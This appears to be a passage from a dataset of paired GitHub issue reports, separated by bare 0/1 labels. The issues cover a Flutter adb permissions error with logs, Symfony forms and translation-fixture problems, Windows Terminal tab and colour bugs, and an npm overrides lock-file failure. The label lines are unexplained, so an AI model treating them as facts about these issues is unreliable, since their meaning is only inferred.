/system/fonts/NotoSansCJK-Regular.ttc Lost connection to device. </code></pre></div> <h2 dir="auto">Logs</h2> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="moo@moopc ~/AndroidStudioProjects/flutter_gps_test $ flutter run --verbose [ +21 ms] executing: [/home/moo/Downloads/flutter/] git rev-parse --abbrev-ref --symbolic @{u} [ +20 ms] Exit code 0 from: git rev-parse --abbrev-ref --symbolic @{u} [ ] origin/beta [ ] executing: [/home/moo/Downloads/flutter/] git rev-parse --abbrev-ref HEAD [ +3 ms] Exit code 0 from: git rev-parse --abbrev-ref HEAD [ ] beta [ ] executing: [/home/moo/Downloads/flutter/] git ls-remote --get-url origin [ +3 ms] Exit code 0 from: git ls-remote --get-url origin [ ] https://github.com/flutter/flutter.git [ ] executing: [/home/moo/Downloads/flutter/] git log -n 1 --pretty=format:%H [ +3 ms] Exit code 0 from: git log -n 1 --pretty=format:%H [ ] 5ab9e70727d858def3a586db7fb98ee580352957 [ ] executing: [/home/moo/Downloads/flutter/] git log -n 1 --pretty=format:%ar [ +3 ms] Exit code 0 from: git log -n 1 --pretty=format:%ar [ ] 7 weeks ago [ ] executing: [/home/moo/Downloads/flutter/] git describe --match v*.*.* --first-parent --long --tags [ +4 ms] Exit code 0 from: git describe --match v*.*.* --first-parent --long --tags [ ] v0.8.2-0-g5ab9e70 [ +49 ms] executing: /media/sda3/home/moo/Android/Sdk/platform-tools/adb devices -l [ +4 ms] Exit code 0 from: /media/sda3/home/moo/Android/Sdk/platform-tools/adb devices -l [ ] List of devices attached QEV7N17B22001003 no permissions (user in plugdev group; are your udev rules wrong?); see [http://developer.android.com/tools/device.html] usb:3-12 transport_id:1 192.168.0.46:5555 device product:sawshark model:LEO_DLXX device:sawshark transport_id:2 [ +7 ms] More than one device connected; please specify a device with the '-d &lt;deviceId&gt;' flag, or use '-d all' to act on all devices. [ +3 ms] /media/sda3/home/moo/Android/Sdk/platform-tools/adb -s QEV7N17B22001003 shell getprop [ +22 ms] Error retrieving device properties for ro.product.cpu.abi: [ ] error: insufficient permissions for device: user in plugdev group; are your udev rules wrong? See [http://developer.android.com/tools/device.html] for more information [ +1 ms] ro.hardware = null [ ] ro.build.characteristics = null [ ] /media/sda3/home/moo/Android/Sdk/platform-tools/adb -s 192.168.0.46:5555 shell getprop [ +271 ms] ro.hardware = sawshark [ ] ro.build.characteristics = nosdcard,watch [ +1 ms] QEV7N17B22001003 • QEV7N17B22001003 • android-arm • Android null (API null) [ ] LEO DLXX • 192.168.0.46:5555 • android-arm • Android 8.0.0 (API 26) [ +7 ms] &quot;flutter run&quot; took 338ms. #0 throwToolExit (package:flutter_tools/src/base/common.dart:26:3) #1 RunCommand.validateCommand (package:flutter_tools/src/commands/run.dart:239:7) &lt;asynchronous suspension&gt; #2 FlutterCommand.verifyThenRunCommand (package:flutter_tools/src/runner/flutter_command.dart:350:11) &lt;asynchronous suspension&gt; #3 FlutterCommand.run.&lt;anonymous closure&gt; (package:flutter_tools/src/runner/flutter_command.dart:306:33) &lt;asynchronous suspension&gt; #4 AppContext.run.&lt;anonymous closure&gt; (package:flutter_tools/src/base/context.dart:142:29) &lt;asynchronous suspension&gt; #5 _rootRun (dart:async/zone.dart:1124:13) #6 _CustomZone.run (dart:async/zone.dart:1021:19) #7 _runZoned (dart:async/zone.dart:1516:10) #8 runZoned (dart:async/zone.dart:1463:12) #9 AppContext.run (package:flutter_tools/src/base/context.dart:141:18) &lt;asynchronous suspension&gt; #10 FlutterCommand.run (package:flutter_tools/src/runner/flutter_command.dart:297:20) #11 CommandRunner.runCommand (package:args/command_runner.dart:194:27) &lt;asynchronous suspension&gt; #12 FlutterCommandRunner.runCommand.&lt;anonymous closure&gt; (package:flutter_tools/src/runner/flutter_command_runner.dart:347:21) &lt;asynchronous suspension&gt; #13 AppContext.run.&lt;anonymous closure&gt; (package:flutter_tools/src/base/context.dart:142:29) &lt;asynchronous suspension&gt; #14 _rootRun (dart:async/zone.dart:1124:13) #15 _CustomZone.run (dart:async/zone.dart:1021:19) #16 _runZoned (dart:async/zone.dart:1516:10) #17 runZoned (dart:async/zone.dart:1463:12) #18 AppContext.run (package:flutter_tools/src/base/context.dart:141:18) &lt;asynchronous suspension&gt; #19 FlutterCommandRunner.runCommand (package:flutter_tools/src/runner/flutter_command_runner.dart:303:19) &lt;asynchronous suspension&gt; #20 CommandRunner.run.&lt;anonymous closure&gt; (package:args/command_runner.dart:109:29) #21 new Future.sync (dart:async/future.dart:224:31) #22 CommandRunner.run (package:args/command_runner.dart:109:11) #23 FlutterCommandRunner.run (package:flutter_tools/src/runner/flutter_command_runner.dart:211:18) #24 run.&lt;anonymous closure&gt; (package:flutter_tools/runner.dart:59:20) &lt;asynchronous suspension&gt; #25 AppContext.run.&lt;anonymous closure&gt; (package:flutter_tools/src/base/context.dart:142:29) &lt;asynchronous suspension&gt; #26 _rootRun (dart:async/zone.dart:1124:13) #27 _CustomZone.run (dart:async/zone.dart:1021:19) #28 _runZoned (dart:async/zone.dart:1516:10) #29 runZoned (dart:async/zone.dart:1463:12) #30 AppContext.run (package:flutter_tools/src/base/context.dart:141:18) &lt;asynchronous suspension&gt; #31 runInContext (package:flutter_tools/src/context_runner.dart:42:24) &lt;asynchronous suspension&gt; #32 run (package:flutter_tools/runner.dart:50:10) #33 main (package:flutter_tools/executable.dart:52:9) &lt;asynchronous suspension&gt; #34 main (file:///b/build/slave/Linux_Flutter_Packaging/build/archive/flutter/packages/flutter_tools/bin/flutter_tools.dart:8:3) #35 _startIsolate.&lt;anonymous closure&gt; (dart:isolate/runtime/libisolate_patch.dart:287:32) #36 _RawReceivePortImpl._handleMessage (dart:isolate/runtime/libisolate_patch.dart:171:12)"><pre class="notranslate"><code class="notranslate">moo@moopc ~/AndroidStudioProjects/flutter_gps_test $ flutter run --verbose [ +21 ms] executing: [/home/moo/Downloads/flutter/] git rev-parse --abbrev-ref --symbolic @{u} [ +20 ms] Exit code 0 from: git rev-parse --abbrev-ref --symbolic @{u} [ ] origin/beta [ ] executing: [/home/moo/Downloads/flutter/] git rev-parse --abbrev-ref HEAD [ +3 ms] Exit code 0 from: git rev-parse --abbrev-ref HEAD [ ] beta [ ] executing: [/home/moo/Downloads/flutter/] git ls-remote --get-url origin [ +3 ms] Exit code 0 from: git ls-remote --get-url origin [ ] https://github.com/flutter/flutter.git [ ] executing: [/home/moo/Downloads/flutter/] git log -n 1 --pretty=format:%H [ +3 ms] Exit code 0 from: git log -n 1 --pretty=format:%H [ ] 5ab9e70727d858def3a586db7fb98ee580352957 [ ] executing: [/home/moo/Downloads/flutter/] git log -n 1 --pretty=format:%ar [ +3 ms] Exit code 0 from: git log -n 1 --pretty=format:%ar [ ] 7 weeks ago [ ] executing: [/home/moo/Downloads/flutter/] git describe --match v*.*.* --first-parent --long --tags [ +4 ms] Exit code 0 from: git describe --match v*.*.* --first-parent --long --tags [ ] v0.8.2-0-g5ab9e70 [ +49 ms] executing: /media/sda3/home/moo/Android/Sdk/platform-tools/adb devices -l [ +4 ms] Exit code 0 from: /media/sda3/home/moo/Android/Sdk/platform-tools/adb devices -l [ ] List of devices attached QEV7N17B22001003 no permissions (user in plugdev group; are your udev rules wrong?); see [http://developer.android.com/tools/device.html] usb:3-12 transport_id:1 192.168.0.46:5555 device product:sawshark model:LEO_DLXX device:sawshark transport_id:2 [ +7 ms] More than one device connected; please specify a device with the '-d &lt;deviceId&gt;' flag, or use '-d all' to act on all devices. [ +3 ms] /media/sda3/home/moo/Android/Sdk/platform-tools/adb -s QEV7N17B22001003 shell getprop [ +22 ms] Error retrieving device properties for ro.product.cpu.abi: [ ] error: insufficient permissions for device: user in plugdev group; are your udev rules wrong? See [http://developer.android.com/tools/device.html] for more information [ +1 ms] ro.hardware = null [ ] ro.build.characteristics = null [ ] /media/sda3/home/moo/Android/Sdk/platform-tools/adb -s 192.168.0.46:5555 shell getprop [ +271 ms] ro.hardware = sawshark [ ] ro.build.characteristics = nosdcard,watch [ +1 ms] QEV7N17B22001003 • QEV7N17B22001003 • android-arm • Android null (API null) [ ] LEO DLXX • 192.168.0.46:5555 • android-arm • Android 8.0.0 (API 26) [ +7 ms] "flutter run" took 338ms. #0 throwToolExit (package:flutter_tools/src/base/common.dart:26:3) #1 RunCommand.validateCommand (package:flutter_tools/src/commands/run.dart:239:7) &lt;asynchronous suspension&gt; #2 FlutterCommand.verifyThenRunCommand (package:flutter_tools/src/runner/flutter_command.dart:350:11) &lt;asynchronous suspension&gt; #3 FlutterCommand.run.&lt;anonymous closure&gt; (package:flutter_tools/src/runner/flutter_command.dart:306:33) &lt;asynchronous suspension&gt; #4 AppContext.run.&lt;anonymous closure&gt; (package:flutter_tools/src/base/context.dart:142:29) &lt;asynchronous suspension&gt; #5 _rootRun (dart:async/zone.dart:1124:13) #6 _CustomZone.run (dart:async/zone.dart:1021:19) #7 _runZoned (dart:async/zone.dart:1516:10) #8 runZoned (dart:async/zone.dart:1463:12) #9 AppContext.run (package:flutter_tools/src/base/context.dart:141:18) &lt;asynchronous suspension&gt; #10 FlutterCommand.run (package:flutter_tools/src/runner/flutter_command.dart:297:20) #11 CommandRunner.runCommand (package:args/command_runner.dart:194:27) &lt;asynchronous suspension&gt; #12 FlutterCommandRunner.runCommand.&lt;anonymous closure&gt; (package:flutter_tools/src/runner/flutter_command_runner.dart:347:21) &lt;asynchronous suspension&gt; #13 AppContext.run.&lt;anonymous closure&gt; (package:flutter_tools/src/base/context.dart:142:29) &lt;asynchronous suspension&gt; #14 _rootRun (dart:async/zone.dart:1124:13) #15 _CustomZone.run (dart:async/zone.dart:1021:19) #16 _runZoned (dart:async/zone.dart:1516:10) #17 runZoned (dart:async/zone.dart:1463:12) #18 AppContext.run (package:flutter_tools/src/base/context.dart:141:18) &lt;asynchronous suspension&gt; #19 FlutterCommandRunner.runCommand (package:flutter_tools/src/runner/flutter_command_runner.dart:303:19) &lt;asynchronous suspension&gt; #20 CommandRunner.run.&lt;anonymous closure&gt; (package:args/command_runner.dart:109:29) #21 new Future.sync (dart:async/future.dart:224:31) #22 CommandRunner.run (package:args/command_runner.dart:109:11) #23 FlutterCommandRunner.run (package:flutter_tools/src/runner/flutter_command_runner.dart:211:18) #24 run.&lt;anonymous closure&gt; (package:flutter_tools/runner.dart:59:20) &lt;asynchronous suspension&gt; #25 AppContext.run.&lt;anonymous closure&gt; (package:flutter_tools/src/base/context.dart:142:29) &lt;asynchronous suspension&gt; #26 _rootRun (dart:async/zone.dart:1124:13) #27 _CustomZone.run (dart:async/zone.dart:1021:19) #28 _runZoned (dart:async/zone.dart:1516:10) #29 runZoned (dart:async/zone.dart:1463:12) #30 AppContext.run (package:flutter_tools/src/base/context.dart:141:18) &lt;asynchronous suspension&gt; #31 runInContext (package:flutter_tools/src/context_runner.dart:42:24) &lt;asynchronous suspension&gt; #32 run (package:flutter_tools/runner.dart:50:10) #33 main (package:flutter_tools/executable.dart:52:9) &lt;asynchronous suspension&gt; #34 main (file:///b/build/slave/Linux_Flutter_Packaging/build/archive/flutter/packages/flutter_tools/bin/flutter_tools.dart:8:3) #35 _startIsolate.&lt;anonymous closure&gt; (dart:isolate/runtime/libisolate_patch.dart:287:32) #36 _RawReceivePortImpl._handleMessage (dart:isolate/runtime/libisolate_patch.dart:171:12) </code></pre></div> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[✓] Flutter (Channel beta, v0.8.2, on Linux, locale en_GB.UTF-8) • Flutter version 0.8.2 at /home/moo/Downloads/flutter • Framework revision 5ab9e70727 (7 weeks ago), 2018-09-07 12:33:05 -0700 • Engine revision 58a1894a1c • Dart version 2.1.0-dev.3.1.flutter-760a9690c2 -Error retrieving device properties for ro.product.cpu.abi: error: insufficient permissions for device: user in plugdev group; are your udev rules wrong? See [http://developer.android.com/tools/device.html] for more information [✓] Android toolchain - develop for Android devices (Android SDK 27.0.3) • Android SDK at /media/sda3/home/moo/Android/Sdk/ • Android NDK location not configured (optional; useful for native profiling support) • Platform android-27, build-tools 27.0.3 • ANDROID_HOME = /media/sda3/home/moo/Android/Sdk/ • Java binary at: /home/moo/Downloads/android-studio/jre/bin/java • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06) • All Android licenses accepted. [✓] Android Studio (version 3.2) • Android Studio at /home/moo/Downloads/android-studio • Flutter plugin version 29.1.1 • Dart plugin version 181.5656 • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06) [✓] Connected devices (2 available) • QEV7N17B22001003 • QEV7N17B22001003 • android-arm • Android null (API null) • LEO DLXX • 192.168.0.46:5555 • android-arm • Android 8.0.0 (API 26) • No issues found!"><pre class="notranslate"><code class="notranslate">[✓] Flutter (Channel beta, v0.8.2, on Linux, locale en_GB.UTF-8) • Flutter version 0.8.2 at /home/moo/Downloads/flutter • Framework revision 5ab9e70727 (7 weeks ago), 2018-09-07 12:33:05 -0700 • Engine revision 58a1894a1c • Dart version 2.1.0-dev.3.1.flutter-760a9690c2 -Error retrieving device properties for ro.product.cpu.abi: error: insufficient permissions for device: user in plugdev group; are your udev rules wrong? See [http://developer.android.com/tools/device.html] for more information [✓] Android toolchain - develop for Android devices (Android SDK 27.0.3) • Android SDK at /media/sda3/home/moo/Android/Sdk/ • Android NDK location not configured (optional; useful for native profiling support) • Platform android-27, build-tools 27.0.3 • ANDROID_HOME = /media/sda3/home/moo/Android/Sdk/ • Java binary at: /home/moo/Downloads/android-studio/jre/bin/java • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06) • All Android licenses accepted. [✓] Android Studio (version 3.2) • Android Studio at /home/moo/Downloads/android-studio • Flutter plugin version 29.1.1 • Dart plugin version 181.5656 • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06) [✓] Connected devices (2 available) • QEV7N17B22001003 • QEV7N17B22001003 • android-arm • Android null (API null) • LEO DLXX • 192.168.0.46:5555 • android-arm • Android 8.0.0 (API 26) • No issues found! </code></pre></div>
<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ianh@burmese:~$ flutter devices 1 connected device: Error retrieving device properties for ro.product.cpu.abi: error: insufficient permissions for device ???????????? • ???????????? • android-arm • Android null (API null) ianh@burmese:~$ "><pre class="notranslate"><code class="notranslate">ianh@burmese:~$ flutter devices 1 connected device: Error retrieving device properties for ro.product.cpu.abi: error: insufficient permissions for device ???????????? • ???????????? • android-arm • Android null (API null) ianh@burmese:~$ </code></pre></div>
1
<p dir="auto">I am using standar symfony2 forms but I stuck with error displaying.</p> <p dir="auto">I am trying to use form-&gt;getErrors() but it returns empty array (tested with var_dump), but if I use form-&gt;getErrorsAsString() I've got the errors.</p>
<p dir="auto">I use Angular 2 with Laravel. When the webpack check the typescript files, The "symfony\translation\Tests\fixtures\resources.ts" will be treat as a typescript file. Actually it's a xml file I think. So hope you can fix it,thank. (My English is poor, don't mind it). The error information as below:</p> <details> <summary> <p dir="auto">See Error Stack Trace</p></summary><p dir="auto"></p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,2): error TS1110: Type expected.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,7): error TS1005: ':' expected.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,21): error TS1005: ';' expected.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,38): error TS1109: Expression expected.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (4,22): error TS1161: Unterminated regular expression literal.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (6,20): error TS1161: Unterminated regular expression literal.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (7,25): error TS1161: Unterminated regular expression literal.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (8,7): error TS1161: Unterminated regular expression literal.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (9,5): error TS1161: Unterminated regular expression literal.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (10,3): error TS1161: Unterminated regular expression literal.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (11,1): error TS1005: ':' expected.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,3): error TS2304: Cannot find name 'xml'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,7): error TS2304: Cannot find name 'version'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,21): error TS2304: Cannot find name 'encoding'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,38): error TS2365: Operator '&lt;' cannot be applied to types 'boolean' and 'RegExp'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,38): error TS2365: Operator '&lt;' cannot be applied to types 'boolean' and 'RegExp'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,38): error TS2365: Operator '&lt;' cannot be applied to types 'boolean' and 'RegExp'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,38): error TS2365: Operator '&lt;' cannot be applied to types 'boolean' and 'RegExp'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,38): error TS2365: Operator '&lt;' cannot be applied to types 'boolean' and 'RegExp'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (1,38): error TS2365: Operator '&lt;' cannot be applied to types 'boolean' and 'RegExp'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (2,2): error TS2304: Cannot find name 'TS'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (3,4): error TS2304: Cannot find name 'context'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (4,6): error TS2304: Cannot find name 'name'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (4,11): error TS2304: Cannot find name 'resources'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (5,6): error TS2304: Cannot find name 'message'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (6,8): error TS2304: Cannot find name 'source'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (6,15): error TS2304: Cannot find name 'foo'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (7,8): error TS2304: Cannot find name 'translation'.</p> <p dir="auto">ERROR in /home/vagrant/Code/oustn_web/vendor/symfonybank/translation/Tests/fixtures/resources.ts<br> (7,20): error TS2304: Cannot find name 'bar'.</p> </details>
0
<h1 dir="auto">Description of the new feature/enhancement</h1> <p dir="auto">Rearrangeable tabs would be a great feature. Especially when someone is working on multiple machines as me. This helps organizing machines in tabs, when they are started in different times.</p> <p dir="auto">Simple example:<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/45369229/62411778-bbdf4800-b5f8-11e9-8dad-a9038ee55f26.png"><img src="https://user-images.githubusercontent.com/45369229/62411778-bbdf4800-b5f8-11e9-8dad-a9038ee55f26.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto">Thanks!</p>
<h1 dir="auto">Environment</h1> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Windows build number: - Microsoft Windows [Version 10.0.18362.418] Windows Terminal version (if applicable): - Windows Terminal (Preview) - Version: 0.6.2951.0 Any other software? - Git Bash for Windows (MINGW64) - Ubuntu (WSL)"><pre lang="none" class="notranslate"><code class="notranslate">Windows build number: - Microsoft Windows [Version 10.0.18362.418] Windows Terminal version (if applicable): - Windows Terminal (Preview) - Version: 0.6.2951.0 Any other software? - Git Bash for Windows (MINGW64) - Ubuntu (WSL) </code></pre></div> <h1 dir="auto">Steps to reproduce</h1> <p dir="auto">Open a Git Bash tab in Windows Terminal.<br> Run the following script:</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="#!/bin/bash # This program is free software. It comes without any warranty, to # the extent permitted by applicable law. You can redistribute it # and/or modify it under the terms of the Do What The Fuck You Want # To Public License, Version 2, as published by Sam Hocevar. See # http://sam.zoy.org/wtfpl/COPYING for more details. for fgbg in 38 48 ; do # Foreground / Background for color in {0..255} ; do # Colors # Display the color printf &quot;\e[${fgbg};5;%sm %3s \e[0m&quot; $color $color # Display 6 colors per lines if [ $((($color + 1) % 6)) == 4 ] ; then echo # New line fi done echo # New line done exit 0"><pre class="notranslate"><span class="pl-c"><span class="pl-c">#!</span>/bin/bash</span> <span class="pl-c"><span class="pl-c">#</span> This program is free software. It comes without any warranty, to</span> <span class="pl-c"><span class="pl-c">#</span> the extent permitted by applicable law. You can redistribute it</span> <span class="pl-c"><span class="pl-c">#</span> and/or modify it under the terms of the Do What The Fuck You Want</span> <span class="pl-c"><span class="pl-c">#</span> To Public License, Version 2, as published by Sam Hocevar. See</span> <span class="pl-c"><span class="pl-c">#</span> http://sam.zoy.org/wtfpl/COPYING for more details.</span> <span class="pl-k">for</span> <span class="pl-smi">fgbg</span> <span class="pl-k">in</span> 38 48 <span class="pl-k">;</span> <span class="pl-k">do</span> <span class="pl-c"><span class="pl-c">#</span> Foreground / Background</span> <span class="pl-k">for</span> <span class="pl-smi">color</span> <span class="pl-k">in</span> {0..255} <span class="pl-k">;</span> <span class="pl-k">do</span> <span class="pl-c"><span class="pl-c">#</span> Colors</span> <span class="pl-c"><span class="pl-c">#</span> Display the color</span> <span class="pl-c1">printf</span> <span class="pl-s"><span class="pl-pds">"</span>\e[<span class="pl-smi">${fgbg}</span>;5;%sm %3s \e[0m<span class="pl-pds">"</span></span> <span class="pl-smi">$color</span> <span class="pl-smi">$color</span> <span class="pl-c"><span class="pl-c">#</span> Display 6 colors per lines</span> <span class="pl-k">if</span> [ <span class="pl-s"><span class="pl-pds">$((</span>(<span class="pl-smi">$color</span> <span class="pl-k">+</span> <span class="pl-c1">1</span>) <span class="pl-k">%</span> <span class="pl-c1">6</span><span class="pl-pds">))</span></span> <span class="pl-k">==</span> 4 ] <span class="pl-k">;</span> <span class="pl-k">then</span> <span class="pl-c1">echo</span> <span class="pl-c"><span class="pl-c">#</span> New line</span> <span class="pl-k">fi</span> <span class="pl-k">done</span> <span class="pl-c1">echo</span> <span class="pl-c"><span class="pl-c">#</span> New line</span> <span class="pl-k">done</span> <span class="pl-c1">exit</span> 0</pre></div> <h1 dir="auto">Expected behavior</h1> <p dir="auto">Pretty colors.</p> <h1 dir="auto">Actual behavior</h1> <p dir="auto">Only a small number of colors.</p> <p dir="auto">An image is attached that shows Git Bash running that script, then Git Bash in Windows Terminal running that script, and finally Ubuntu in Windows Terminal running that script.</p> <p dir="auto">Git Bash shows the colors as expected, as does Ubuntu in Windows Terminal, so it seems reasonable that both Git Bash, and Windows Terminal support those colors, but somewhere between them, the colors get mangled and do not show properly.</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/186505/68230447-48155880-ffb6-11e9-8a14-25e6f62d5b2f.png"><img src="https://user-images.githubusercontent.com/186505/68230447-48155880-ffb6-11e9-8a14-25e6f62d5b2f.png" alt="Image3" style="max-width: 100%;"></a></p>
0
<h3 dir="auto">Is there an existing issue for this?</h3> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the existing issues</li> </ul> <h3 dir="auto">This issue exists in the latest npm version</h3> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I am using the latest npm</li> </ul> <h3 dir="auto">Current Behavior</h3> <p dir="auto">npm overrides that work fine with npm 8.5.5, are causing an error during <code class="notranslate">npm ci</code> as of npm 8.6:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="npm ERR! `npm ci` can only install packages when your package.json and package-lock.json or npm-shrinkwrap.json are in sync. Please update your lock file with `npm install` before continuing. npm ERR! npm ERR! Missing: [email protected] from lock file"><pre class="notranslate"><code class="notranslate">npm ERR! `npm ci` can only install packages when your package.json and package-lock.json or npm-shrinkwrap.json are in sync. Please update your lock file with `npm install` before continuing. npm ERR! npm ERR! Missing: [email protected] from lock file </code></pre></div> <p dir="auto">After running <code class="notranslate">npm install</code> again (as suggested by the error message) <code class="notranslate">npm ci</code> is working again, but the transient <code class="notranslate">trim-newlines</code> dependency version is no longer overridden in package-lock.json.</p> <h3 dir="auto">Expected Behavior</h3> <p dir="auto"><code class="notranslate">npm install</code> with <code class="notranslate">overrides</code> configuration should produce a package-lock.json that can be processed by <code class="notranslate">npm ci</code> and contains overridden versions.</p> <h3 dir="auto">Steps To Reproduce</h3> <p dir="auto">On a local development machine, create a blank project with defaults and add a dependency with vulnerable transient dependency:</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="mkdir npm-overrides-issue cd npm-overrides-issue npm init npm i svg2sprite-cli"><pre class="notranslate">mkdir npm-overrides-issue <span class="pl-c1">cd</span> npm-overrides-issue npm init npm i svg2sprite-cli</pre></div> <p dir="auto">-&gt; 3 high severity vulnerabilities</p> <p dir="auto">add overrides configuration to mitigate transient vulnerability</p> <div class="highlight highlight-source-json notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=" &quot;overrides&quot;: { &quot;trim-newlines&quot;: &quot;^3.0.1&quot; }"><pre class="notranslate"> <span class="pl-ent">"overrides"</span>: { <span class="pl-ent">"trim-newlines"</span>: <span class="pl-s"><span class="pl-pds">"</span>^3.0.1<span class="pl-pds">"</span></span> }</pre></div> <p dir="auto">then</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="npm i npm ci"><pre class="notranslate">npm i npm ci</pre></div> <p dir="auto">-&gt; still 3 high severity vulnerabilities, <code class="notranslate">ci</code> still works</p> <p dir="auto">force update of package-lock.json</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="rm -rf package-lock.json node_modules npm i npm ci"><pre class="notranslate">rm -rf package-lock.json node_modules npm i npm ci</pre></div> <p dir="auto">-&gt; found 0 vulnerabilities, <code class="notranslate">ci</code> fails with the following error</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="npm ERR! `npm ci` can only install packages when your package.json and package-lock.json or npm-shrinkwrap.json are in sync. Please update your lock file with `npm install` before continuing. npm ERR! npm ERR! Missing: [email protected] from lock file"><pre class="notranslate"><code class="notranslate">npm ERR! `npm ci` can only install packages when your package.json and package-lock.json or npm-shrinkwrap.json are in sync. Please update your lock file with `npm install` before continuing. npm ERR! npm ERR! Missing: [email protected] from lock file </code></pre></div> <p dir="auto">in order to check that it actually works with previous npm versions:</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="npm i -g [email protected] rm -rf package-lock.json node_modules npm i npm ci"><pre class="notranslate">npm i -g [email protected] rm -rf package-lock.json node_modules npm i npm ci</pre></div> <p dir="auto">-&gt; found 0 vulnerabilities, <code class="notranslate">ci</code> works as expected</p> <h3 dir="auto">Environment</h3> <ul dir="auto"> <li>npm: 8.6.0</li> <li>Node.js: v16.14.0</li> <li>OS Name: MacOS</li> <li>System Model Name: MacBook Pro 2021</li> <li>npm config:</li> </ul> <div class="highlight highlight-source-ini notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="; &quot;user&quot; config from /Users/redacted/.npmrc ; redacted: custom registry configuration for internal dependencies, not related ; node bin location = /Users/redacted/.nvm/versions/node/v16.14.0/bin/node ; cwd = /Users/redacted/dev/npm-overrides-issue ; HOME = /Users/redacted ; Run `npm config ls -l` to show all defaults."><pre class="notranslate"><span class="pl-c"><span class="pl-c">;</span> "user" config from /Users/redacted/.npmrc</span> <span class="pl-c"><span class="pl-c">;</span> redacted: custom registry configuration for internal dependencies, not related</span> <span class="pl-c"><span class="pl-c">;</span> node bin location = /Users/redacted/.nvm/versions/node/v16.14.0/bin/node</span> <span 